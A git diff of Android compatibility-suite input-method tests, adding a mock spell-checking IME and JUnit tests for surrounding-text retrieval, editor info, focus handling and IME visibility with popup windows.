+++ b/tests/inputmethod/spellcheckingime/AndroidManifest.xml
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright (C) 2021 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="com.android.cts.spellcheckingime">
+
+    <application android:multiArch="true"
+         android:supportsRtl="true">
+
+        <meta-data android:name="instantapps.clients.allowed"
+             android:value="true"/>
+
+        <service android:name=".SpellCheckingIme"
+             android:label="Spell Checking IME"
+             android:permission="android.permission.BIND_INPUT_METHOD"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.view.InputMethod"/>
+            </intent-filter>
+            <meta-data android:name="android.view.im"
+                 android:resource="@xml/method"/>
+        </service>
+
+    </application>
+</manifest>
diff --git a/tests/inputmethod/spellcheckingime/res/xml/method.xml b/tests/inputmethod/spellcheckingime/res/xml/method.xml
new file mode 100644
index 0000000..fa2d8f4
--- /dev/null
+++ b/tests/inputmethod/spellcheckingime/res/xml/method.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright (C) 2021 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+-->
+
+<input-method xmlns:android="http://schemas.android.com/apk/res/android"
+              android:suppressesSpellChecker="true">
+</input-method>
diff --git a/tests/inputmethod/spellcheckingime/src/com/android/cts/spellcheckingime/SpellCheckingIme.java b/tests/inputmethod/spellcheckingime/src/com/android/cts/spellcheckingime/SpellCheckingIme.java
new file mode 100644
index 0000000..33b717f
--- /dev/null
+++ b/tests/inputmethod/spellcheckingime/src/com/android/cts/spellcheckingime/SpellCheckingIme.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.spellcheckingime;
+
+import android.inputmethodservice.InputMethodService;
+import android.view.View;
+import android.widget.LinearLayout;
+
+/**
+ * Mock IME with android:suppressesSpellChecker="true".
+ */
+public final class SpellCheckingIme extends InputMethodService {
+
+    @Override
+    public View onCreateInputView() {
+        return new LinearLayout(this);
+    }
+}
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/BaseInputConnectionTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/BaseInputConnectionTest.java
index f59ca42..f3bd570 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/BaseInputConnectionTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/BaseInputConnectionTest.java
@@ -22,6 +22,7 @@
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
+import static org.testng.Assert.expectThrows;
 
 import android.content.ClipDescription;
 import android.net.Uri;
@@ -38,6 +39,7 @@
 import android.view.inputmethod.ExtractedTextRequest;
 import android.view.inputmethod.InputContentInfo;
 import android.view.inputmethod.InputMethodManager;
+import android.view.inputmethod.SurroundingText;
 import android.view.inputmethod.cts.util.InputConnectionTestUtils;
 
 import androidx.test.filters.MediumTest;
@@ -487,4 +489,131 @@
         // Should not crash.
         connection.getSelectedText(0);
     }
+
+    @Test
+    public void testGetSurroundingText_hasTextBeforeSelection() {
+        // 123456789|
+        final CharSequence source = InputConnectionTestUtils.formatString("123456789[]");
+        final BaseInputConnection connection = createConnectionWithSelection(source);
+
+        // 9|
+        SurroundingText surroundingText1 = connection.getSurroundingText(1, 1, 0);
+        assertEquals("9", surroundingText1.getText().toString());
+        assertEquals(1, surroundingText1.getSelectionEnd());
+        assertEquals(1, surroundingText1.getSelectionEnd());
+        assertEquals(8, surroundingText1.getOffset());
+
+        // 123456789|
+        SurroundingText surroundingText2 = connection.getSurroundingText(10, 1, 0);
+        assertEquals("123456789", surroundingText2.getText().toString());
+        assertEquals(9, surroundingText2.getSelectionStart());
+        assertEquals(9, surroundingText2.getSelectionEnd());
+        assertEquals(0, surroundingText2.getOffset());
+
+        // |
+        SurroundingText surroundingText3 = connection.getSurroundingText(0, 10,
+                BaseInputConnection.GET_TEXT_WITH_STYLES);
+        assertEquals("", surroundingText3.getText().toString());
+        assertEquals(0, surroundingText3.getSelectionStart());
+        assertEquals(0, surroundingText3.getSelectionEnd());
+        assertEquals(9, surroundingText3.getOffset());
+    }
+
+    @Test
+    public void testGetSurroundingText_hasTextAfterSelection() {
+        // |123456789
+        final CharSequence source = InputConnectionTestUtils.formatString("[]123456789");
+        final BaseInputConnection connection = createConnectionWithSelection(source);
+
+        // |1
+        SurroundingText surroundingText1 = connection.getSurroundingText(1, 1,
+                BaseInputConnection.GET_TEXT_WITH_STYLES);
+        assertEquals("1", surroundingText1.getText().toString());
+        assertEquals(0, surroundingText1.getSelectionStart());
+        assertEquals(0, surroundingText1.getSelectionEnd());
+        assertEquals(0, surroundingText1.getOffset());
+
+        // |
+        SurroundingText surroundingText2 = connection.getSurroundingText(10, 1, 0);
+        assertEquals("1", surroundingText2.getText().toString());
+        assertEquals(0, surroundingText2.getSelectionStart());
+        assertEquals(0, surroundingText2.getSelectionEnd());
+        assertEquals(0, surroundingText2.getOffset());
+
+        // |123456789
+        SurroundingText surroundingText3 = connection.getSurroundingText(0, 10, 0);
+        assertEquals("123456789", surroundingText3.getText().toString());
+        assertEquals(0, surroundingText3.getSelectionStart());
+        assertEquals(0, surroundingText3.getSelectionEnd());
+        assertEquals(0, surroundingText3.getOffset());
+    }
+
+    @Test
+    public void testGetSurroundingText_hasSelection() {
+        // 123|45|6789
+        final CharSequence source = InputConnectionTestUtils.formatString("123[45]6789");
+        final BaseInputConnection connection = createConnectionWithSelection(source);
+
+        // 3|45|6
+        SurroundingText surroundingText1 = connection.getSurroundingText(1, 1, 0);
+        assertEquals("3456", surroundingText1.getText().toString());
+        assertEquals(1, surroundingText1.getSelectionStart());
+        assertEquals(3, surroundingText1.getSelectionEnd());
+        assertEquals(2, surroundingText1.getOffset());
+
+        // 123|45|6
+        SurroundingText surroundingText2 = connection.getSurroundingText(10, 1,
+                BaseInputConnection.GET_TEXT_WITH_STYLES);
+        assertEquals("123456", surroundingText2.getText().toString());
+        assertEquals(3, surroundingText2.getSelectionStart());
+        assertEquals(5, surroundingText2.getSelectionEnd());
+        assertEquals(0, surroundingText2.getOffset());
+
+        // |45|6789
+        SurroundingText surroundingText3 = connection.getSurroundingText(0, 10, 0);
+        assertEquals("456789", surroundingText3.getText().toString());
+        assertEquals(0, surroundingText3.getSelectionStart());
+        assertEquals(2, surroundingText3.getSelectionEnd());
+        assertEquals(3, surroundingText3.getOffset());
+
+        // 123|45|6789
+        SurroundingText surroundingText4 = connection.getSurroundingText(10, 10,
+                BaseInputConnection.GET_TEXT_WITH_STYLES);
+        assertEquals("123456789", surroundingText4.getText().toString());
+        assertEquals(3, surroundingText4.getSelectionStart());
+        assertEquals(5, surroundingText4.getSelectionEnd());
+        assertEquals(0, surroundingText4.getOffset());
+
+        // |45|
+        SurroundingText surroundingText5 = connection.getSurroundingText(0, 0,
+                BaseInputConnection.GET_TEXT_WITH_STYLES);
+        assertEquals("45", surroundingText5.getText().toString());
+        assertEquals(0, surroundingText5.getSelectionStart());
+        assertEquals(2, surroundingText5.getSelectionEnd());
+        assertEquals(3, surroundingText5.getOffset());
+    }
+
+    @Test
+    public void testInvalidGetTextBeforeOrAfterCursorRequest() {
+        final CharSequence source = InputConnectionTestUtils.formatString("hello[]");
+        final BaseInputConnection connection = createConnectionWithSelection(source);
+
+        // getTextBeforeCursor
+        assertEquals("", connection.getTextBeforeCursor(0, 0).toString());
+        assertEquals("", connection.getTextBeforeCursor(
+                0, BaseInputConnection.GET_TEXT_WITH_STYLES).toString());
+        assertEquals("hello", connection.getTextBeforeCursor(10, 0).toString());
+        assertEquals("hello", connection.getTextBeforeCursor(
+                100, BaseInputConnection.GET_TEXT_WITH_STYLES).toString());
+        expectThrows(IllegalArgumentException.class, ()-> connection.getTextBeforeCursor(-1, 0));
+
+        // getTextAfterCursor
+        assertEquals("", connection.getTextAfterCursor(0, 0).toString());
+        assertEquals("", connection.getTextAfterCursor(
+                0, BaseInputConnection.GET_TEXT_WITH_STYLES).toString());
+        assertEquals("", connection.getTextAfterCursor(100, 0).toString());
+        assertEquals("", connection.getTextAfterCursor(
+                100, BaseInputConnection.GET_TEXT_WITH_STYLES).toString());
+        expectThrows(IllegalArgumentException.class, ()-> connection.getTextAfterCursor(-1, 0));
+    }
 }
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/EditorInfoTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/EditorInfoTest.java
index 0492189..69c4111 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/EditorInfoTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/EditorInfoTest.java
@@ -18,6 +18,7 @@
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
@@ -31,6 +32,7 @@
 import android.util.StringBuilderPrinter;
 import android.view.inputmethod.EditorInfo;
 import android.view.inputmethod.InputConnection;
+import android.view.inputmethod.SurroundingText;
 
 import androidx.test.filters.SmallTest;
 import androidx.test.runner.AndroidJUnit4;
@@ -91,7 +93,7 @@
         assertEquals(info.inputType, targetInfo.inputType);
         assertEquals(info.packageName, targetInfo.packageName);
         assertEquals(info.privateImeOptions, targetInfo.privateImeOptions);
-        assertTrue(TextUtils.equals(testInitialText, concateInitialSurroundingText(targetInfo)));
+        assertTrue(TextUtils.equals(testInitialText, concatInitialSurroundingText(targetInfo)));
         assertEquals(info.hintText.toString(), targetInfo.hintText.toString());
         assertEquals(info.actionLabel.toString(), targetInfo.actionLabel.toString());
         assertEquals(info.label.toString(), targetInfo.label.toString());
@@ -147,7 +149,8 @@
         assertExpectedTextLength(info,
                 /* expectBeforeCursorLength= */null,
                 /* expectSelectionLength= */null,
-                /* expectAfterCursorLength= */null);
+                /* expectAfterCursorLength= */null,
+                /* expectSurroundingText= */null);
 
         // Web password type
         info.inputType = (EditorInfo.TYPE_CLASS_TEXT | EditorInfo.TYPE_TEXT_VARIATION_WEB_PASSWORD);
@@ -157,7 +160,8 @@
         assertExpectedTextLength(info,
                 /* expectBeforeCursorLength= */null,
                 /* expectSelectionLength= */null,
-                /* expectAfterCursorLength= */null);
+                /* expectAfterCursorLength= */null,
+                /* expectSurroundingText= */null);
 
         // Number password type
         info.inputType = (EditorInfo.TYPE_CLASS_NUMBER | EditorInfo.TYPE_NUMBER_VARIATION_PASSWORD);
@@ -167,7 +171,8 @@
         assertExpectedTextLength(info,
                 /* expectBeforeCursorLength= */null,
                 /* expectSelectionLength= */null,
-                /* expectAfterCursorLength= */null);
+                /* expectAfterCursorLength= */null,
+                /* expectSurroundingText= */null);
     }
 
     @Test
@@ -179,11 +184,13 @@
         info.initialSelEnd = info.initialSelStart + selLength;
         final int expectedTextBeforeCursorLength = 0;
         final int expectedTextAfterCursorLength = testText.length() - selLength;
+        final SurroundingText expectedSurroundingText =
+                new SurroundingText(testText, info.initialSelStart, info.initialSelEnd, 0);
 
         info.setInitialSurroundingText(testText);
 
         assertExpectedTextLength(info, expectedTextBeforeCursorLength, selLength,
-                expectedTextAfterCursorLength);
+                expectedTextAfterCursorLength, expectedSurroundingText);
     }
 
     @Test
@@ -195,11 +202,13 @@
         info.initialSelEnd = testText.length();
         final int expectedTextBeforeCursorLength = testText.length() - selLength;
         final int expectedTextAfterCursorLength = 0;
+        final SurroundingText expectedSurroundingText =
+                new SurroundingText(testText, info.initialSelStart, info.initialSelEnd, 0);
 
         info.setInitialSurroundingText(testText);
 
         assertExpectedTextLength(info, expectedTextBeforeCursorLength, selLength,
-                expectedTextAfterCursorLength);
+                expectedTextAfterCursorLength, expectedSurroundingText);
     }
 
     @Test
@@ -211,15 +220,17 @@
         info.initialSelEnd = info.initialSelStart + selLength;
         final int expectedTextBeforeCursorLength = 0;
         final int expectedTextAfterCursorLength = testText.length();
+        final SurroundingText expectedSurroundingText =
+                new SurroundingText(testText, info.initialSelStart, info.initialSelEnd, 0);
 
         info.setInitialSurroundingText(testText);
 
         assertExpectedTextLength(info, expectedTextBeforeCursorLength, selLength,
-                expectedTextAfterCursorLength);
+                expectedTextAfterCursorLength, expectedSurroundingText);
     }
 
     @Test
-    public void testInitialSurroundingText_overSizedSeleciton_keepsBeforeAfterTextValid() {
+    public void testInitialSurroundingText_overSizedSelection_keepsBeforeAfterTextValid() {
         final EditorInfo info = new EditorInfo();
         final CharSequence testText = createTestText(OVER_SIZED_TEXT_LENGTH);
         final int selLength = OVER_SIZED_TEXT_LENGTH - 2;
@@ -227,11 +238,21 @@
         info.initialSelEnd = info.initialSelStart + selLength;
         final int expectedTextBeforeCursorLength = 1;
         final int expectedTextAfterCursorLength = 1;
+        final int offset = info.initialSelStart - expectedTextBeforeCursorLength;
+        final CharSequence beforeCursor = testText.subSequence(offset,
+                offset + expectedTextBeforeCursorLength);
+        final CharSequence afterCursor = testText.subSequence(info.initialSelEnd,
+                testText.length());
+        final CharSequence surroundingText = TextUtils.concat(beforeCursor, afterCursor);
+        final SurroundingText expectedSurroundingText =
+                new SurroundingText(surroundingText, info.initialSelStart, info.initialSelStart, 0);
 
         info.setInitialSurroundingText(testText);
 
         assertExpectedTextLength(info, expectedTextBeforeCursorLength,
-                /* expectSelectionLength= */null, expectedTextAfterCursorLength);
+                /* expectSelectionLength= */null, expectedTextAfterCursorLength,
+                expectedSurroundingText);
+
     }
 
     @Test
@@ -250,6 +271,12 @@
         final CharSequence expectedTextAfterCursor = createExpectedText(
                 info.initialSelEnd - prefixString.length(),
                 originalText.length() - info.initialSelEnd);
+        final SurroundingText expectedSurroundingText = new SurroundingText(
+                TextUtils.concat(expectedTextBeforeCursor, expectedSelectedText,
+                        expectedTextAfterCursor),
+                info.initialSelStart - prefixString.length(),
+                info.initialSelStart - prefixString.length() + selLength,
+                prefixString.length());
 
         info.setInitialSurroundingSubText(subText, prefixString.length());
 
@@ -261,11 +288,21 @@
         assertTrue(TextUtils.equals(expectedTextAfterCursor,
                 info.getInitialTextAfterCursor(REQUEST_LONGEST_AVAILABLE_TEXT,
                         InputConnection.GET_TEXT_WITH_STYLES)));
+        SurroundingText surroundingText = info.getInitialSurroundingText(
+                REQUEST_LONGEST_AVAILABLE_TEXT,
+                REQUEST_LONGEST_AVAILABLE_TEXT,
+                InputConnection.GET_TEXT_WITH_STYLES);
+        assertNotNull(surroundingText);
+        assertTrue(TextUtils.equals(expectedSurroundingText.getText(), surroundingText.getText()));
+        assertEquals(expectedSurroundingText.getSelectionStart(),
+                surroundingText.getSelectionStart());
+        assertEquals(expectedSurroundingText.getSelectionEnd(), surroundingText.getSelectionEnd());
     }
 
     private static void assertExpectedTextLength(EditorInfo editorInfo,
             Integer expectBeforeCursorLength, Integer expectSelectionLength,
-            Integer expectAfterCursorLength) {
+            Integer expectAfterCursorLength,
+            SurroundingText expectSurroundingText) {
         final CharSequence textBeforeCursor =
                 editorInfo.getInitialTextBeforeCursor(REQUEST_LONGEST_AVAILABLE_TEXT,
                         InputConnection.GET_TEXT_WITH_STYLES);
@@ -274,6 +311,10 @@
         final CharSequence textAfterCursor =
                 editorInfo.getInitialTextAfterCursor(REQUEST_LONGEST_AVAILABLE_TEXT,
                         InputConnection.GET_TEXT_WITH_STYLES);
+        final SurroundingText surroundingText = editorInfo.getInitialSurroundingText(
+                REQUEST_LONGEST_AVAILABLE_TEXT,
+                REQUEST_LONGEST_AVAILABLE_TEXT,
+                InputConnection.GET_TEXT_WITH_STYLES);
 
         if (expectBeforeCursorLength == null) {
             assertNull(textBeforeCursor);
@@ -292,6 +333,18 @@
         } else {
             assertEquals(expectAfterCursorLength.intValue(), textAfterCursor.length());
         }
+
+        if (expectSurroundingText == null) {
+            assertNull(surroundingText);
+        } else {
+            assertTrue(TextUtils.equals(
+                    expectSurroundingText.getText(), surroundingText.getText()));
+            assertEquals(expectSurroundingText.getSelectionStart(),
+                    surroundingText.getSelectionStart());
+            assertEquals(expectSurroundingText.getSelectionEnd(),
+                    surroundingText.getSelectionEnd());
+            assertEquals(expectSurroundingText.getOffset(), surroundingText.getOffset());
+        }
     }
 
     private static CharSequence createTestText(int size) {
@@ -310,7 +363,7 @@
         return builder;
     }
 
-    private static CharSequence concateInitialSurroundingText(EditorInfo info) {
+    private static CharSequence concatInitialSurroundingText(EditorInfo info) {
         final CharSequence textBeforeCursor =
                 nullToEmpty(info.getInitialTextBeforeCursor(REQUEST_LONGEST_AVAILABLE_TEXT,
                         InputConnection.GET_TEXT_WITH_STYLES));
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java
index 753d63c..116e8a9 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java
@@ -78,6 +78,7 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 import java.util.concurrent.TimeoutException;
 import java.util.concurrent.atomic.AtomicBoolean;
@@ -87,6 +88,7 @@
 @RunWith(AndroidJUnit4.class)
 public class FocusHandlingTest extends EndToEndImeTestBase {
     static final long TIMEOUT = TimeUnit.SECONDS.toMillis(5);
+    static final long EXPECT_TIMEOUT = TimeUnit.SECONDS.toMillis(2);
     static final long NOT_EXPECT_TIMEOUT = TimeUnit.SECONDS.toMillis(1);
 
     @Rule
@@ -632,6 +634,31 @@
         }
     }
 
+    @AppModeFull(reason = "Instant apps cannot hold android.permission.SYSTEM_ALERT_WINDOW")
+    @Test
+    public void testOnCheckIsTextEditorRunOnUIThread() throws Exception {
+        final Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+        final CountDownLatch uiThreadSignal = new CountDownLatch(1);
+        try (CloseOnce session = CloseOnce.of(new ServiceSession(instrumentation.getContext()))) {
+            final AtomicBoolean popupTextHasWindowFocus = new AtomicBoolean(false);
+
+            // Create a popupTextView which from Service with different UI thread and set a
+            // countDownLatch to verify onCheckIsTextEditor run on UI thread.
+            final ServiceSession serviceSession = (ServiceSession) session.mAutoCloseable;
+            serviceSession.getService().setUiThreadSignal(uiThreadSignal);
+            final EditText popupTextView = serviceSession.getService().getPopupTextView(
+                    popupTextHasWindowFocus);
+            assertTrue(popupTextView.getHandler().getLooper()
+                    != serviceSession.getService().getMainLooper());
+
+            // Emulate tap event
+            CtsTouchUtils.emulateTapOnViewCenter(instrumentation, null, popupTextView);
+
+            // Wait until the UI thread countDownLatch reach to 0 or timeout
+            assertTrue(uiThreadSignal.await(EXPECT_TIMEOUT, TimeUnit.MILLISECONDS));
+        }
+    }
+
     private static class ServiceSession implements ServiceConnection, AutoCloseable {
         private final Context mContext;
 
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsControllerTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsControllerTest.java
index dd8d070..30300f7 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsControllerTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsControllerTest.java
@@ -211,7 +211,7 @@
     }
 
     private int getBottomOfWindow(View decorView) {
-        int viewPos[] = new int[2];
+        final int[] viewPos = new int[2];
         decorView.getLocationOnScreen(viewPos);
         return decorView.getHeight() + viewPos[1];
     }
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsVisibilityTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsVisibilityTest.java
index d104450..033a471 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsVisibilityTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsVisibilityTest.java
@@ -18,9 +18,12 @@
 
 import static android.content.Intent.ACTION_CLOSE_SYSTEM_DIALOGS;
 import static android.content.Intent.FLAG_RECEIVER_FOREGROUND;
+import static android.view.ViewGroup.LayoutParams.MATCH_PARENT;
 import static android.view.WindowManager.LayoutParams.FLAG_ALT_FOCUSABLE_IM;
+import static android.view.WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN;
 import static android.view.WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
 import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION;
+import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_PANEL;
 import static android.view.inputmethod.cts.util.InputMethodVisibilityVerifier.expectImeInvisible;
 import static android.view.inputmethod.cts.util.InputMethodVisibilityVerifier.expectImeVisible;
 
@@ -32,8 +35,8 @@
 import static org.junit.Assert.assertTrue;
 
 import android.app.Activity;
-import android.content.Context;
 import android.content.Intent;
+import android.graphics.Color;
 import android.graphics.PixelFormat;
 import android.graphics.Point;
 import android.os.SystemClock;
@@ -42,7 +45,6 @@
 import android.view.Gravity;
 import android.view.View;
 import android.view.WindowInsets;
-import android.view.WindowInsetsController;
 import android.view.WindowManager;
 import android.view.inputmethod.InputMethodManager;
 import android.view.inputmethod.cts.util.EndToEndImeTestBase;
@@ -54,6 +56,9 @@
 import android.widget.TextView;
 
 import androidx.annotation.NonNull;
+import androidx.test.filters.MediumTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.CtsTouchUtils;
 import com.android.compatibility.common.util.PollingCheck;
@@ -61,15 +66,10 @@
 import com.android.cts.mockime.ImeSettings;
 import com.android.cts.mockime.MockImeSession;
 
-import androidx.test.filters.MediumTest;
-import androidx.test.platform.app.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import java.util.Arrays;
 import java.util.concurrent.TimeUnit;
 import java.util.concurrent.atomic.AtomicReference;
 
@@ -110,7 +110,6 @@
             CtsTouchUtils.emulateTapOnViewCenter(
                     InstrumentationRegistry.getInstrumentation(), null, editText);
             TestUtils.waitOnMainUntil(() -> editText.hasFocus(), TIMEOUT);
-            WindowInsetsController controller = editText.getWindowInsetsController();
 
             expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
             expectEvent(stream, event -> "showSoftInput".equals(event.getEventName()), TIMEOUT);
@@ -123,7 +122,16 @@
 
             final View[] childViewRoot = new View[1];
             TestUtils.runOnMainSync(() -> {
-                childViewRoot[0] = addChildWindow(activity);
+                final WindowManager.LayoutParams attrs = new WindowManager.LayoutParams();
+                attrs.token = activity.getWindow().getAttributes().token;
+                attrs.type = TYPE_APPLICATION;
+                attrs.width = 200;
+                attrs.height = 200;
+                attrs.format = PixelFormat.TRANSPARENT;
+                attrs.flags = FLAG_NOT_FOCUSABLE | FLAG_ALT_FOCUSABLE_IM;
+                attrs.setFitInsetsTypes(WindowInsets.Type.ime() | WindowInsets.Type.statusBars()
+                        | WindowInsets.Type.navigationBars());
+                childViewRoot[0] = addChildWindow(activity, attrs);
                 childViewRoot[0].setVisibility(View.VISIBLE);
             });
             TestUtils.waitOnMainUntil(() -> childViewRoot[0] != null
@@ -135,6 +143,104 @@
         }
     }
 
+    @Test
+    public void testImeVisibilityWhenImeFocusableGravityBottomChildPopup() throws Exception {
+        try (MockImeSession imeSession = MockImeSession.create(
+                InstrumentationRegistry.getInstrumentation().getContext(),
+                InstrumentationRegistry.getInstrumentation().getUiAutomation(),
+                new ImeSettings.Builder().setInputViewHeight(NEW_KEYBOARD_HEIGHT))) {
+            final ImeEventStream stream = imeSession.openEventStream();
+
+            final String marker = getTestMarker();
+            final Pair<EditText, TestActivity> editTextTestActivityPair =
+                    launchTestActivity(false, marker);
+            final EditText editText = editTextTestActivityPair.first;
+            final TestActivity activity = editTextTestActivityPair.second;
+
+            notExpectEvent(stream, editorMatcher("onStartInputView", marker), TIMEOUT);
+            expectImeInvisible(TIMEOUT);
+
+            // Emulate tap event
+            CtsTouchUtils.emulateTapOnViewCenter(
+                    InstrumentationRegistry.getInstrumentation(), null, editText);
+            TestUtils.waitOnMainUntil(editText::hasFocus, TIMEOUT);
+            expectEvent(stream, editorMatcher("onStartInputView", marker), TIMEOUT);
+            PollingCheck.check("Ime insets should be visible", TIMEOUT,
+                    () -> editText.getRootWindowInsets().isVisible(WindowInsets.Type.ime()));
+            expectImeVisible(TIMEOUT);
+
+            final View[] childViewRoot = new View[1];
+            TestUtils.runOnMainSync(() -> {
+                final WindowManager.LayoutParams attrs = new WindowManager.LayoutParams();
+                attrs.type = TYPE_APPLICATION_PANEL;
+                attrs.width = MATCH_PARENT;
+                attrs.height = NEW_KEYBOARD_HEIGHT;
+                attrs.gravity = Gravity.BOTTOM;
+                attrs.flags = FLAG_NOT_FOCUSABLE | FLAG_ALT_FOCUSABLE_IM;
+                childViewRoot[0] = addChildWindow(activity, attrs);
+                childViewRoot[0].setBackgroundColor(Color.RED);
+                childViewRoot[0].setVisibility(View.VISIBLE);
+            });
+            // The window will be shown above (in y-axis) the IME.
+            TestUtils.waitOnMainUntil(() -> childViewRoot[0] != null
+                    && childViewRoot[0].getVisibility() == View.VISIBLE, TIMEOUT);
+            // IME should be on screen without reset.
+            notExpectEvent(stream, editorMatcher("onStartInputView", marker), TIMEOUT);
+            PollingCheck.check("Ime insets should be visible", TIMEOUT,
+                    () -> editText.getRootWindowInsets().isVisible(WindowInsets.Type.ime()));
+            expectImeVisible(TIMEOUT);
+        }
+    }
+
+    @Test
+    public void testImeVisibilityWhenImeFocusableChildPopupOverlaps() throws Exception {
+        try (MockImeSession imeSession = MockImeSession.create(
+                InstrumentationRegistry.getInstrumentation().getContext(),
+                InstrumentationRegistry.getInstrumentation().getUiAutomation(),
+                new ImeSettings.Builder().setInputViewHeight(NEW_KEYBOARD_HEIGHT))) {
+            final ImeEventStream stream = imeSession.openEventStream();
+
+            final String marker = getTestMarker();
+            final Pair<EditText, TestActivity> editTextTestActivityPair =
+                    launchTestActivity(false, marker);
+            final EditText editText = editTextTestActivityPair.first;
+            final TestActivity activity = editTextTestActivityPair.second;
+
+            notExpectEvent(stream, editorMatcher("onStartInputView", marker), TIMEOUT);
+            expectImeInvisible(TIMEOUT);
+
+            // Emulate tap event
+            CtsTouchUtils.emulateTapOnViewCenter(
+                    InstrumentationRegistry.getInstrumentation(), null, editText);
+            TestUtils.waitOnMainUntil(editText::hasFocus, TIMEOUT);
+            expectEvent(stream, editorMatcher("onStartInputView", marker), TIMEOUT);
+            PollingCheck.check("Ime insets should be visible", TIMEOUT,
+                    () -> editText.getRootWindowInsets().isVisible(WindowInsets.Type.ime()));
+            expectImeVisible(TIMEOUT);
+
+            final View[] childViewRoot = new View[1];
+            TestUtils.runOnMainSync(() -> {
+                final WindowManager.LayoutParams attrs = new WindowManager.LayoutParams();
+                attrs.type = TYPE_APPLICATION_PANEL;
+                attrs.width = MATCH_PARENT;
+                attrs.height = NEW_KEYBOARD_HEIGHT;
+                attrs.gravity = Gravity.BOTTOM;
+                attrs.flags = FLAG_NOT_FOCUSABLE | FLAG_ALT_FOCUSABLE_IM | FLAG_LAYOUT_IN_SCREEN;
+                childViewRoot[0] = addChildWindow(activity, attrs);
+                childViewRoot[0].setBackgroundColor(Color.RED);
+                childViewRoot[0].setVisibility(View.VISIBLE);
+            });
+            // The window will be shown behind (in z-axis) the IME.
+            TestUtils.waitOnMainUntil(() -> childViewRoot[0] != null
+                    && childViewRoot[0].getVisibility() == View.VISIBLE, TIMEOUT);
+            // IME should be on screen without reset.
+            notExpectEvent(stream, editorMatcher("onStartInputView", marker), TIMEOUT);
+            PollingCheck.check("Ime insets should be visible", TIMEOUT,
+                    () -> editText.getRootWindowInsets().isVisible(WindowInsets.Type.ime()));
+            expectImeVisible(TIMEOUT);
+        }
+    }
+
     @AppModeFull(reason = "Instant apps cannot rely on ACTION_CLOSE_SYSTEM_DIALOGS")
     @Test
     public void testEditTextPositionAndPersistWhenAboveImeWindowShown() throws Exception {
@@ -187,8 +293,8 @@
             lastEditTextPos = new Point(curEditPos);
             curEditPos = getLocationOnScreenForView(editText);
 
-            assertTrue("Insets visibility & EditText position should persist when " +
-                            "the above IME window shown",
+            assertTrue("Insets visibility & EditText position should persist when "
+                            + "the above IME window shown",
                     isInsetsVisible(insetsFromActivity[0], WindowInsets.Type.ime())
                             && curEditPos.equals(lastEditTextPos));
 
@@ -246,19 +352,9 @@
         return new Pair<>(focusedEditTextRef.get(), testActivityRef.get());
     }
 
